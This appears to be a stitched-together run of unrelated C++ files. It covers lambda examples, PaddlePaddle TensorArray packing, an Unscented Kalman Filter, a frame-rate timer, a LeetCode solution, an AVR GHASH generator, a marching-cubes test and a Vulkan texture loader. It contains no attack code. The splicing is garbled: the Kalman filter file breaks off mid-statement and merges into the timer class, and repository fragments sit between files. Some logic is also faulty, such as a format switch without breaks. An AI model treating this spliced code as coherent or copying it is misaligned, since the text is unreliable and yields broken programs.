[offset](auto &x){ x += offset; }); __Unnamed unn{5}; for_each(arr, unn); //for_each(arr, [offset] (auto &x) mutable { x += offset++; }); for_each(arr, [](auto x){ cout << x << endl; }); int sum {}; for_each(arr, [&sum, &offset](auto x) { sum += offset + x; }); cout << "Sum=" << sum << endl; // [=] -- all(declared before) variables captured by value // [&] -- all(decalred before) variables captured by reference // [=, &offset] - all (declared before) by value and &offset by reference // [& , offset] - all (declared before) by ref, and offset by value // [this] - catpure this class pointer // C++17 // Generalized lambda capture: // [var=expression] // [&var=expression] return 0; } int old_main() { Comp cmp; //cmp(3, 5); int arr[5] {5, 1, 3, 8, 2}; char *carr[5] {"A", "Z", "C", "X", "T"}; show(arr); auto l = [](auto x, auto y) { return x > y; }; sort(arr, l); show(arr); cout << "cmp called " << cmp.get_call_count() << " times." << endl; return 0; } LemonPi/bincalc #include #include "error.h" namespace Bincalc { int no_of_errors {}; int error(const std::string& s) { no_of_errors++; std::cerr << "error: " << s << '\n'; return 1; } } 0 /* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserve. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "paddle/framework/tensor_array.h" #include #include #include #include "paddle/framework/eigen.h" namespace paddle { namespace framework { namespace detail { /* * Offer an iterator over the length-sorted lod-tensor's top level. The top * level of a lod-tensor stores batch-size of sequences, each top-level sequence * may contains several lower-level sequences, sort top-level lod by the numbers * of lower-level sequences in descending order, so that during RNN's running, * the batch-size will keep decreasing, the short sentences will end at the tail * of each batch. * * Let's take a simple lod-tensor for example * * |(0) |(1) top-level has two instances * ||| ||||| lower-level * * sort by lower-level's length * * |(1) |(0) * ||||| ||| * * when RNN runs, it get 5 batches (equals the number of elements the longest * sequence has) * * ||||| * ||| * * the first three batches has two elements, the last two elements just has 1 * element each. */ struct DynamicBatchUnpacker { using value_type = float; DynamicBatchUnpacker(const LoDTensor& source, size_t level, bool descend = true) : source(&source), level(level) { BuildLengthSortedMeta(descend); } LoDTensor GetBatch(size_t index); std::vector meta; LoDTensor const* source; size_t level; protected: void BuildLengthSortedMeta(bool descend); }; LoDTensor PackDynamicBatch(const std::vector& source, const std::vector& meta, const LoD& lod, size_t level); std::vector GenDyBatchIndice(const DySeqMetaBatch& meta, int batch_id) { // collect indice need to copy to the batch std::vector indice; for (const auto& seq : meta) { size_t id = seq.begin + batch_id; if (id >= seq.end) break; indice.push_back(id); } return indice; } } // namespace detail const LoDTensor& TensorArray::Read(size_t index) const { PADDLE_ENFORCE_LE(index, MAX_SIZE, "index[%d] too large", index); if (index >= size()) { values_.resize(index + 1); } return values_[index]; } void TensorArray::Write(size_t index, const LoDTensor& value) { PADDLE_ENFORCE_LE(index, MAX_SIZE, "index[%d] too large", index); if (index >= size()) { values_.resize(index + 1); } values_[index].set_lod(value.lod()); values_[index].Resize(value.dims()); values_[index].mutable_data(value.place()); values_[index].CopyFrom(value, value.place(), platform::CPUDeviceContext()); } void TensorArray::WriteShared(size_t index, const LoDTensor& value) { PADDLE_ENFORCE_LE(index, MAX_SIZE, "index[%d] too large", index); if (index >= size()) { values_.resize(index + 1); } values_[index].set_lod(value.lod()); values_[index].ShareDataWith(value); } LoDTensor TensorArray::Pack(size_t level, const std::vector& meta, const LoD& lod) const { return detail::PackDynamicBatch(values_, meta, lod, level); } DySeqMetaBatch TensorArray::Unpack(const LoDTensor& source, int level, bool length_desend) { detail::DynamicBatchUnpacker unpacker(source, level, length_desend /*descend*/); // find max length of all the sequences size_t max_length = 0; for (const auto& seq : unpacker.meta) { max_length = std::max(max_length, seq.end - seq.begin); } // write batches to values for (size_t batch_id = 0; batch_id < max_length; batch_id++) { Write(batch_id, unpacker.GetBatch(batch_id)); } PADDLE_ENFORCE(!unpacker.meta.empty()); return unpacker.meta; } LoDTensor TensorArray::LodPack(size_t level) const { PADDLE_ENFORCE_GT(size(), 0UL, "no time step exists"); // the levels should be no less than 2 LoDTensor merged; const LoDTensor *pre, *cur; pre = &Read(0); for (size_t step = 1; step < size(); step++) { cur = &Read(step); PADDLE_ENFORCE_GT(cur->NumLevels(), 0); PADDLE_ENFORCE_GT(pre->NumLevels(), 0); PADDLE_ENFORCE_EQ(pre->NumLevels(), cur->NumLevels()); PADDLE_ENFORCE_EQ(pre->NumElements(level), cur->NumElements(level)); merged = LodPackTwo(*pre, *cur, level); pre = &merged; } return merged; } /* * NOTE currently, only the lowest level supports packing. * The lowest LoD will be changed, while the relative offsets in levels above * stay unchanged. * * previous step : [0] [1] [3] * current step: [0 1 2] [2 3] [] * packed to * [0 0] [0 1] [0 2] [1 2] [1 3] [3] */ LoDTensor TensorArray::LodPackTwo(const LoDTensor& pre, const LoDTensor& cur, size_t level) const { PADDLE_ENFORCE_EQ(pre.NumLevels(), cur.NumLevels()); PADDLE_ENFORCE_EQ(pre.NumLevels(), level + 1, "Only the lowest LoD level supports pack temporarily."); // calculate the result tensor's shape first size_t num_instances = 0; for (size_t elem = 0; elem < pre.NumElements(level); elem++) { size_t prefix_size = pre.NumElements(level, elem); size_t num_candidates = cur.NumElements(level, elem); if (num_candidates > 0) { num_instances += num_candidates * (prefix_size + 1); } else { num_instances += prefix_size; } } auto res_dims = pre.dims(); res_dims[0] = num_instances; LoDTensor result; result.Resize(res_dims); result.mutable_data(cur.place()); Vector last_lod_level; // copy data size_t index = 0; last_lod_level.push_back(index); for (size_t elem = 0; elem < pre.NumElements(level); elem++) { size_t prefix_size = pre.NumElements(level, elem); size_t num_candidates = cur.NumElements(level, elem); // slice the prefix Tensor LoDTensor prefix = pre; prefix.ShrinkInLevel(level, elem, elem + 1); LoDTensor candidate = cur; if (num_candidates > 0) { candidate.ShrinkInLevel(level, elem, elem + 1); } else { // just push prefix result.Slice(index, index + prefix_size) .CopyFrom(prefix, result.place(), platform::CPUDeviceContext()); index += prefix_size; last_lod_level.push_back(index); } for (size_t candi = 0; candi < num_candidates; candi++) { // TODO(superjom) support GPU result.Slice(index, index + prefix_size) .CopyFrom(prefix, result.place(), platform::CPUDeviceContext()); index += prefix_size; // copy candidate record result.Slice(index, index + 1) .CopyFrom(candidate.Slice(candi, candi + 1), result.place(), platform::CPUDeviceContext()); index++; last_lod_level.push_back(index); } } // update lod auto lod = cur.lod(); lod.back() = last_lod_level; result.set_lod(lod); return result; } /* * source [0 1 2] [3 4] [5 6 7] will be transformd to a list of LoDTensors such * as * [0 3 5] [1 4 6] [2 7] with 1-level LoDs: * - [0 1 2 3] * - [0 1 2 3] * - [0 1 1 2], the [1,1) here means the second sequence is empty * * NOTE Unpack a LoDTensor in this approach may result in a big LoD. */ void TensorArray::LodUnpack(const LoDTensor& source, size_t level) { PADDLE_ENFORCE_EQ(level, source.NumLevels() - 1, "only the lowest LoD level supports unpack."); const size_t non_empty_instances = source.dims()[0]; size_t index = 0; Vector lowest_lod_level; lowest_lod_level.push_back(index); for (size_t step = 0; step < non_empty_instances; step++) { size_t num_instances = 0; for (size_t id = 0; id < source.NumElements(level); id++) { auto instance = source; instance.ShrinkInLevel(level, id, id + 1); if (static_cast(instance.dims()[0]) > step) { num_instances++; index++; } lowest_lod_level.push_back(index); } // create tensor for this time step LoDTensor tensor; auto dims = source.dims(); dims[0] = num_instances; // set lod auto lod = source.lod(); lod.back() = lowest_lod_level; tensor.set_lod(lod); index = 0; for (size_t id = 0; id < source.NumElements(level); id++) { auto instance = source; instance.ShrinkInLevel(level, id, id + 1); if (static_cast(instance.dims()[0]) > step) { // copy this instance tensor.Slice(index, index + 1) .CopyFrom(instance.Slice(step, step + 1), tensor.place(), platform::CPUDeviceContext()); index++; } } Write(step, tensor); } } LoDTensor TensorArray::Stack() const { LoDTensor result; if (size() == 0) return result; const auto& first_dims = values_.front().dims(); // check all the values have the same shape // TODO(superjom) check the same dtypes for (size_t idx = 1; idx < size(); idx++) { const auto& value_dims = values_[idx].dims(); PADDLE_ENFORCE_EQ(first_dims, value_dims); } // copy auto result_dims = vectorize(first_dims); result_dims.insert(result_dims.begin(), size()); result.Resize(make_ddim(result_dims)); result.mutable_data(platform::CPUPlace()); for (size_t idx = 0; idx < size(); idx++) { result.Slice(idx, idx + 1) .CopyFrom(Read(idx), platform::CPUPlace(), platform::CPUDeviceContext()); } return result; } void TensorArray::Unstack(const LoDTensor& source) const { Unstack(source, false /*data_shared*/); } void TensorArray::UnstackShared(const LoDTensor& source) const { Unstack(source, true /*data_shared*/); } void TensorArray::Unstack(const LoDTensor& source, bool data_shared) const { size_t first_dim = source.dims()[0]; DDim value_dims = slice_ddim(source.dims(), 1, source.dims().size()); PADDLE_ENFORCE_GT(first_dim, 0, "source should have some data to be unstacked"); values_.resize(first_dim); for (size_t elem = 0; elem < first_dim; elem++) { // create a new value auto& value = values_[elem]; if (data_shared) { // share memory value.ShareDataWith(source.Slice(elem, elem + 1)); } else { // copy value.Resize(value_dims); value.CopyFrom(source.Slice(elem, elem + 1), platform::CPUPlace(), platform::CPUDeviceContext()); } } } size_t TensorArray::size() const { return values_.size(); } namespace detail { void DynamicBatchUnpacker::BuildLengthSortedMeta(bool descend) { PADDLE_ENFORCE(meta.empty(), "duplicate build meta"); // collect meta for each sequence in some level auto lod = SliceLevels(source->lod(), level, level + 1)[0]; for (size_t seq_id = 0; seq_id < lod.size() - 1; seq_id++) { DySeqMeta seq_meta({lod[seq_id], lod[seq_id + 1], seq_id}); meta.push_back(seq_meta); } PADDLE_ENFORCE_GT(meta.size(), 0, "meta is empty"); // sort by length sort(meta.begin(), meta.end(), [descend](const DySeqMeta& a, const DySeqMeta& b) { bool a_ge_b = (a.end - a.begin) > (b.end - b.begin); return descend ? a_ge_b : !a_ge_b; }); } LoDTensor DynamicBatchUnpacker::GetBatch(size_t index) { PADDLE_ENFORCE(!meta.empty(), "should build meta first"); LoDTensor result; auto indice = detail::GenDyBatchIndice(meta, index); PADDLE_ENFORCE(!indice.empty(), "invalid batch at %d", index); // copy the indice of records in LoDTensor auto record_dims = slice_ddim(source->dims(), 1, source->dims().size()); auto record_dims_vec = vectorize(record_dims); record_dims_vec.insert(record_dims_vec.begin(), indice.size()); result.Resize(make_ddim(record_dims_vec)); result.mutable_data(platform::CPUPlace()); for (size_t i = 0; i < indice.size(); i++) { auto index = indice[i]; auto target = result.Slice(i, i + 1); auto slice = source->Slice(index, index + 1); target.CopyFrom(slice, platform::CPUPlace(), platform::CPUDeviceContext()); } return result; } // TODO(supejom) to cache lod if reasonable LoDTensor PackDynamicBatch(const std::vector& source, const std::vector& meta, const LoD& lod, size_t level) { PADDLE_ENFORCE(!source.empty()); PADDLE_ENFORCE(!meta.empty()); PADDLE_ENFORCE(!lod.empty()); LoDTensor result; // init result space auto record_dims = slice_ddim(source[0].dims(), 1, source[0].dims().size()); auto record_dims_vec = vectorize(record_dims); auto height = lod[level].back(); record_dims_vec.insert(record_dims_vec.begin(), height); result.Resize(make_ddim(record_dims_vec)); result.mutable_data(platform::CPUPlace()); for (size_t batch_id = 0; batch_id < source.size(); batch_id++) { for (size_t seq_id = 0; seq_id < meta.size(); seq_id++) { const auto& seq_meta = meta[seq_id]; // source is source[batch_id][seq_id] // target is result[index] auto index = seq_meta.begin + batch_id; if (index >= seq_meta.end) break; auto source_ = source[batch_id].Slice(seq_id, seq_id + 1); auto target = result.Slice(index, index + 1); target.CopyFrom(source_, platform::CPUPlace(), platform::CPUDeviceContext()); } } result.set_lod(lod); return result; } } // namespace detail } // namespace framework } // namespace paddle 0 #include "ukf.h" #include "Eigen/Dense" #include using namespace std; using Eigen::MatrixXd; using Eigen::VectorXd; using std::vector; /** * Initializes Unscented Kalman filter * This is scaffolding, do not modify */ UKF::UKF() { // if this is false, laser measurements will be ignored (except during init) use_laser_ = true; // if this is false, radar measurements will be ignored (except during init) use_radar_ = true; // State dimension n_x_ = 5; ///* Augmented state dimension n_aug_ = 7; // initial state vector x_ = VectorXd::Zero(n_x_); // initial covariance matrix P_ = MatrixXd(n_x_, n_x_); P_ << .1, 0, 0, 0, 0, 0, .1, 0, 0, 0, 0, 0, .1, 0, 0, 0, 0, 0, .1, 0, 0, 0, 0, 0, .1; // Process noise standard deviation longitudinal acceleration in m/s^2 std_a_ = 1.5; // Process noise standard deviation yaw acceleration in rad/s^2 std_yawdd_ = 0.3; //DO NOT MODIFY measurement noise values below these are provided by the sensor manufacturer. // Laser measurement noise standard deviation position1 in m std_laspx_ = 0.15; // Laser measurement noise standard deviation position2 in m std_laspy_ = 0.15; // Radar measurement noise standard deviation radius in m std_radr_ = 0.3; // Radar measurement noise standard deviation angle in rad std_radphi_ = 0.03; // Radar measurement noise standard deviation radius change in m/s std_radrd_ = 0.3; //DO NOT MODIFY measurement noise values above these are provided by the sensor manufacturer. ///* initially set to false, set to true in first call of ProcessMeasurement is_initialized_ = false; ///* predicted sigma points matrix Xsig_pred_ = MatrixXd::Zero(n_x_, 2 * n_aug_ + 1); ///* time when the state is true, in us time_us_ = 0; ///* Sigma point spreading parameter lambda_ = 3 - n_aug_; ///* Weights of sigma points weights_ = VectorXd::Zero(2*n_aug_+1); //set weights double w = lambda_ /(lambda_ + n_aug_); weights_(0) = w; for(int i=1;i<2*n_aug_ + 1; i++){ w = 0.5 / (lambda_ + n_aug_);; weights_(i) = w; } NIS_radar_ = 0; NIS_lidar_ = 0; } UKF::~UKF() { } double UKF::NormalizeAngle(double angle){ //angle normalization while (angle> M_PI) angle-=2.*M_PI; while (angle<-M_PI) angle+=2.*M_PI; return angle; } /** * @param {MeasurementPackage} meas_package The latest measurement data of * either radar or laser. */ void UKF::ProcessMeasurement(MeasurementPackage meas_package) { /***************************************************************************** * Initialization ****************************************************************************/ if (!is_initialized_) { // first measurement double px = 0; double py = 0; double vx = 0; double vy = 0; if (meas_package.sensor_type_ == MeasurementPackage::RADAR) { /** Convert radar from polar to cartesian coordinates and initialize state. */ double rho = meas_package.raw_measurements_[0]; double theta = meas_package.raw_measurements_[1]; double rho_dot = meas_package.raw_measurements_[2]; px = rho * cos(theta); py = rho * sin(theta); vx = rho_dot * cos(theta); vy = rho_dot * sin(theta); } else if (meas_package.sensor_type_ == MeasurementPackage::LASER) { /** Initialize state. */ px = meas_package.raw_measurements_[0]; py = meas_package.raw_measurements_[1]; vx = 0; vy = 0; } // Fix small px, py if(fabs(px) < 0.0001){ px = 0.01; } if(fabs(py) < 0.0001){ py = 0.01; } x_ << px, py, sqrt(pow(vx, 2) + pow(vy, 2)), 0, 0; time_us_ = meas_package.timestamp_; // done initializing, no need to predict or update is_initialized_ = true; return; } /***************************************************************************** * Prediction ****************************************************************************/ //compute the time elapsed between the current and previous measurements double dt = (meas_package.timestamp_ - time_us_) / 1000000.0; //dt - expressed in seconds time_us_ = meas_package.timestamp_; Prediction(dt); /***************************************************************************** * Update ****************************************************************************/ if (use_radar_ && meas_package.sensor_type_ == MeasurementPackage::RADAR) { UpdateRadar(meas_package); cout << "NIS_radar_ = " << NIS_radar_ << endl; std::ofstream f; f.open("radar.csv",std::ios_base::app); f<(); needToCollectFps = false; reset(); _print_interval = print_interval; _update_interval = update_interval; printStr = "FPS: "; } void CFrameTimer::addFrame() { Stop(); dt = GetInterval(); _nframes++; _print_nframes++; if (_print_interval != 0 && _nframes != 0 && (GetTotal() > _print_interval)) { float _print_fps = (float)(_print_nframes) / (_print_interval); CLog::getInstance()->addInfo(printStr + std::to_string((int)_print_fps)); if (needToCollectFps) fpsList->push_back(_print_fps); _print_nframes = 0; Reset(); } Continue(); } void CFrameTimer::setPrintString(const std::string str) { printStr = str; } CFrameTimer::~CFrameTimer() { if (fpsList) delete fpsList; } const double CFrameTimer::getDT()const { return dt; } void CFrameTimer::reset() { } const long CFrameTimer::getFrame()const { return _nframes; } const long CFrameTimer::getInterval()const { return _frame_interval; } const float CFrameTimer::getFPS()const { return _fps; } std::vector* CFrameTimer::getFpsList()const { return fpsList; } const int CFrameTimer::getFpsListSize()const { return fpsList->size(); } void CFrameTimer::clearFpsList() { fpsList->clear(); } const float CFrameTimer::getAverageFps(const int sec)const { if (!needToCollectFps) return -1; int size = getFpsListSize(); if (size < sec) return -1; float sum = 0; int index = size - 1; for (int i = index; i >= size - sec; i--) { sum += (*fpsList)[i]; } return sum / sec; } const bool CFrameTimer::isNeedToCollectFps()const { return needToCollectFps; } void CFrameTimer::setNeedToCollectFps(const bool needToCollectFps) { this->needToCollectFps = needToCollectFps; clearFpsList(); }1-10 static const auto __ = []() { std::ios::sync_with_stdio(false); std::cin.tie(nullptr); return nullptr; }(); class Solution { public: bool isToeplitzMatrix(vector>& matrix) { if (matrix.size() == 0 || matrix[0].size() == 0) return false; int m = matrix.size(); int n = matrix[0].size(); for (auto i = 0; i < m - 1; ++i) for (auto j = 0; j < n - 1; ++j) if (matrix[i + 1][j + 1] != matrix[i][j]) return false; return true; } };src/genavr/algorithm_ghash.cpp10-100 /* * Copyright (C) 2021 Southern Storm Software, Pty Ltd. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #include "gen.h" #include void gen_ghash_init(Code &code) { int offset; // Set up the function prologue with 0 bytes of local variable storage. // Z points to the GHASH state and X points to the 16 bytes of the key. code.prologue_setup_key("ghash_init", 0); code.setFlag(Code::NoLocals); // Copy the key value as-is in big endian order. The multiplication // routine can do the byte swapping when it loads the value. Reg temp = code.allocateReg(4); for (offset = 0; offset < 16; offset += 4) { code.ldx(temp, POST_INC); code.stz(temp, offset); } // Zero the Y and "posn" fields. code.stz_zero(16, 20); } void gen_ghash_mul(Code &code) { // Simple bit-by-bit implementation for AVR which is more efficient // than trying to perform the multiplication 4 bits at a time. // Set up the function prologue with 16 bytes of local variable storage. // Z points to the GHASH state on input and output. code.prologue_permutation("ghash_mul", 16); // Put Z in local variables and initialize it to zero. code.stlocal_zero(0, 16); // Allocate the registers we need. Reg counter = code.allocateHighReg(1); Reg temp1 = code.allocateHighReg(1); Reg V = code.allocateReg(16); Reg value = code.allocateReg(1); Reg mask = code.allocateReg(1); Reg temp2 = code.allocateReg(1); // Load V = H into registers and convert from big-endian byte order. code.ldz(V.reversed(), POST_INC); // Loop over the 16 bytes in the input "Y" value. code.move(counter, 16); unsigned char top_label = 0; unsigned char end_label = 0; unsigned char subroutine = 0; code.label(top_label); code.ldz(value, POST_INC); // Iterate over the bits in the byte. for (int bit = 0; bit < 8; ++bit) { code.move(mask, 0); code.lsl(value, 1); code.tworeg(Insn::SBC, mask.reg(0), ZERO_REG); code.call(subroutine); } // Bottom of the byte loop. code.dec(counter); code.brne(top_label); code.jmp(end_label); // Subroutine that conditionally XOR's V with Z and then rotates V right. code.label(subroutine); for (int offset = 0; offset < 16; ++offset) { code.ldlocal(temp1, offset); code.move(temp2, Reg(V, offset, 1)); code.logand(temp2, mask); code.logxor(temp1, temp2); code.stlocal(temp1, offset); } code.move(temp1, 0); code.lsr(V, 1); code.tworeg(Insn::SBC, temp1.reg(0), ZERO_REG); code.logand(temp1, 0xE1); code.logxor(Reg(V, 15, 1), temp1); code.ret(); // Store the result back to the state as the new value of "Y". code.label(end_label); code.ldlocal(V, 0); code.stz(V.reversed(), PRE_DEC); } bool test_ghash_mul(Code &code) { static unsigned char const input[36] = { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e, 0x03, 0x88, 0xda, 0xce, 0x60, 0xb6, 0xa3, 0x92, 0xf3, 0x28, 0xc2, 0xb9, 0x71, 0xb2, 0xfe, 0x78, 0x00, 0x00, 0x00, 0x00 }; static unsigned char const output[36] = { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e, 0x5e, 0x2e, 0xc7, 0x46, 0x91, 0x70, 0x62, 0x88, 0x2c, 0x85, 0xb0, 0x68, 0x53, 0x53, 0xde, 0xb7, 0x00, 0x00, 0x00, 0x00 }; unsigned char state[36]; memcpy(state, input, 36); code.exec_permutation(state, 36); return !memcmp(output, state, 36); } #include "Lua.hpp" #ifdef __cplusplus extern "C" { #endif int luaopen_sdurws (lua_State* L); // declare the wrapped module #ifdef __cplusplus } #endif int rwslibs::swig::openLuaLibRWS (lua_State* L) { return luaopen_sdurws (L); } yak/test/marching_cubes_tests.cpp #include #include #include #include #include static const double OCTREE_RESOLUTION_MM = 0.001; // Define the baseline mesh for the MarchingCubes.test_simple_meshing unit test. // The baseline mesh is a dypyramid with 8 triangular faces and 6 vertices. // This mesh contains no duplicated vertices. static const double DIPYRAMID_MESH_EXPECTED_VOXEL_SCALE = 0.01; static const std::string DIPYRAMID_MESH_FILENAME = "dipyramid_ascii.ply"; static const std::string DIPYRAMID_MESH_ASCII = "ply\n\ format ascii 1.0\n\ comment VCGLIB generated\n\ element vertex 6\n\ property float x\n\ property float y\n\ property float z\n\ element face 8\n\ property list uchar int vertex_indices\n\ end_header\n\ 0.01 0.005 0.01\n\ 0.005 0.01 0.01\n\ 0.01 0.01 0.005\n\ 0.015 0.01 0.01\n\ 0.01 0.01 0.015\n\ 0.01 0.015 0.01\n\ 3 0 1 2\n\ 3 3 0 2\n\ 3 0 4 1\n\ 3 2 1 5\n\ 3 3 4 0\n\ 3 5 1 4\n\ 3 2 5 3\n\ 3 3 5 4\n"; // TODO: A good candidate for the public API. /** * @brief Copy a 16-bit half-float distance value and a 16-bit unsigned int weight value into a 32-bit unsigned int. * @param dist 16-bit half-float distance * @param weight 16-bit unsigned int weight * @param data 32-bit unsigned int voxel value. First 16 bits are the distance, second 16 bits are the weight. */ void pack(const half_float::half& dist, const uint16_t& weight, uint32_t& data) { std::memcpy(&data, &dist, 2); std::memcpy(((char*)(&data)) + 2, &weight, 2); } // TODO: This function is a duplicate of a private member function of yak::TSDFContainer. It would be useful to add it // to the public API instead. void unpack(const uint32_t data, half_float::half& dist, uint16_t& weight) { std::memcpy(&dist, &data, 2); std::memcpy(&weight, ((char*)(&data)) + 2, 2); } /// /// \brief Test that packing and unpacking TSDF voxels is symmetric. /// TEST(MarchingCubes, pack_unpack) { uint32_t voxel_data; half_float::half dist(0.375f); uint16_t weight(19); pack(dist, weight, voxel_data); half_float::half dist_unpack; uint16_t weight_unpack; unpack(voxel_data, dist_unpack, weight_unpack); EXPECT_EQ(float(dist), float(dist_unpack)) << "dist after pack and unpack is different than expected."; EXPECT_EQ(weight, weight_unpack) << "weight after pack and unpack is different than expected."; } /// /// \brief Test meshing a very simple TSDF voxel volume using marching cubes. Verify that vertices of new mesh match /// expected output. /// \todo Add comparison of mesh faces. /// TEST(MarchingCubes, test_simple_meshing) { auto mc_params = yak::MarchingCubesParameters(); mc_params.scale = DIPYRAMID_MESH_EXPECTED_VOXEL_SCALE; mc_params.min_weight = 1; mc_params.clean = true; // create a (3 x 3 x 3) voxel volume int n_x = 3; int n_y = 3; int n_z = 3; auto volume = yak::TSDFContainer(n_x, n_y, n_z); // initialize volume to be all "outside" voxels uint32_t empty_voxel; pack(half_float::half(1.0), 1, empty_voxel); std::vector voxels(static_cast(n_x * n_y * n_z), empty_voxel); // add one "inside" voxel at the center of the volume pack(half_float::half(-1.0), 1, voxels.at(static_cast(volume.toIndex(1, 1, 1)))); memcpy(volume.data(), voxels.data(), static_cast(n_x * n_y * n_z * 4)); // Generate a new mesh by performing marching cubes on the TSDF volume pcl::PolygonMesh mesh_mc = yak::marchingCubesCPU(volume, mc_params); // Create a new mesh that we expect to be identical to the one generated by marching cubes pcl::PolygonMesh mesh_baseline; std::ofstream out(DIPYRAMID_MESH_FILENAME); out << DIPYRAMID_MESH_ASCII; out.close(); pcl::io::loadPLYFile(DIPYRAMID_MESH_FILENAME, mesh_baseline); remove(DIPYRAMID_MESH_FILENAME.c_str()); // Expect both the generated mesh and the baseline mesh to have 8 faces EXPECT_EQ(mesh_mc.polygons.size(), mesh_baseline.polygons.size()) << "Generated mesh does not have the expected " "number of faces."; // Create a point cloud from the vertices of the mesh generated by marching cubes pcl::PointCloud::Ptr mesh_mc_cloud(new pcl::PointCloud); pcl::fromPCLPointCloud2(mesh_mc.cloud, *mesh_mc_cloud); // Create a point cloud from the vertices of the predefined baseline mesh pcl::PointCloud::Ptr mesh_baseline_cloud(new pcl::PointCloud); pcl::fromPCLPointCloud2(mesh_baseline.cloud, *mesh_baseline_cloud); // Since mc_params.clean = true, expect the mesh from marching cubes to have no duplicate vertices EXPECT_EQ(mesh_mc_cloud->size(), mesh_baseline_cloud->size()) << "Generated mesh does not have the expected number " "of vertices."; // Use an octree to find vertices in the marching cubes mesh that are not the same as the vertices in the baseline pcl::octree::OctreePointCloudChangeDetector octree(OCTREE_RESOLUTION_MM); octree.setInputCloud(mesh_mc_cloud); octree.addPointsFromInputCloud(); octree.switchBuffers(); octree.setInputCloud(mesh_baseline_cloud); octree.addPointsFromInputCloud(); std::vector different_vertex_indices; octree.getPointIndicesFromNewVoxels(different_vertex_indices); // Expect zero new indices if the meshes have identical vertices EXPECT_EQ(different_vertex_indices.size(), 0) << "Vertices in generated mesh are in different positions than " "expected."; } int main(int argc, char** argv) { testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); } JeppeSRC/Frodo10-100 #include #include #include namespace fd { namespace graphics { namespace texture { using namespace FD; using namespace utils; using namespace buffer; using namespace core; using namespace video; using namespace log; Texture2D::Texture2D(uint32 width, uint32 height, VkFormat format, VkImageUsageFlags usage, VkImageLayout layout) : Texture(width, height), format(format), resizable(true) { CreateImage(width, height, 0, VK_IMAGE_TYPE_2D, format, usage, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, VK_IMAGE_LAYOUT_UNDEFINED); Context::TransitionImage(image, format, VK_IMAGE_LAYOUT_UNDEFINED, layout); VkImageAspectFlags aspect = 0; if (usage & VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT) { aspect = VK_IMAGE_ASPECT_COLOR_BIT; } else if (usage & VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT) { aspect = VK_IMAGE_ASPECT_DEPTH_BIT; switch (format) { case VK_FORMAT_D24_UNORM_S8_UINT: case VK_FORMAT_D32_SFLOAT_S8_UINT: aspect |= VK_IMAGE_ASPECT_STENCIL_BIT; } } vinfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; vinfo.pNext = nullptr; vinfo.flags = 0; vinfo.image = image; vinfo.viewType = VK_IMAGE_VIEW_TYPE_2D; vinfo.format = format; vinfo.components.r = VK_COMPONENT_SWIZZLE_R; vinfo.components.g = VK_COMPONENT_SWIZZLE_G; vinfo.components.b = VK_COMPONENT_SWIZZLE_B; vinfo.components.a = VK_COMPONENT_SWIZZLE_A; vinfo.subresourceRange.aspectMask = aspect; vinfo.subresourceRange.baseArrayLayer = 0; vinfo.subresourceRange.baseMipLevel = 0; vinfo.subresourceRange.layerCount = 1; vinfo.subresourceRange.levelCount = 1; VK(vkCreateImageView(Context::GetDevice(), &vinfo, nullptr, &imageView)); } Texture2D::Texture2D(const String& filename) : resizable(false) { Log::Debug("[Texture2D] Loading \"%s\"", *filename); Header header; TextureHeader texHeader; byte* pixels = nullptr; LoadImageFile(filename, &header, &texHeader, &pixels); if (pixels == nullptr) return; width = texHeader.width; height = texHeader.height; VkFormat format = VK_FORMAT_UNDEFINED; switch (texHeader.pixelLayout) { case TextureChannel::R: format = VK_FORMAT_R8_UNORM; case TextureChannel::RG: format = VK_FORMAT_R8G8_UNORM; case TextureChannel::RGBA: format = VK_FORMAT_R8G8B8A8_UNORM; } CreateImage(width, height, 0, VK_IMAGE_TYPE_2D, format, VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL); Buffer tmpBuffer(VK_BUFFER_USAGE_TRANSFER_SRC_BIT, pixels, header.size - sizeof(TextureHeader), true); Context::CopyBufferToImage(image, width, height, tmpBuffer.GetBuffer()); Context::TransitionImage(image, VK_FORMAT_UNDEFINED, VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL, VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL); vinfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; vinfo.pNext = nullptr; vinfo.flags = 0; vinfo.image = image; vinfo.viewType = VK_IMAGE_VIEW_TYPE_2D; vinfo.format = format; vinfo.components.r = VK_COMPONENT_SWIZZLE_R; vinfo.components.g = VK_COMPONENT_SWIZZLE_G; 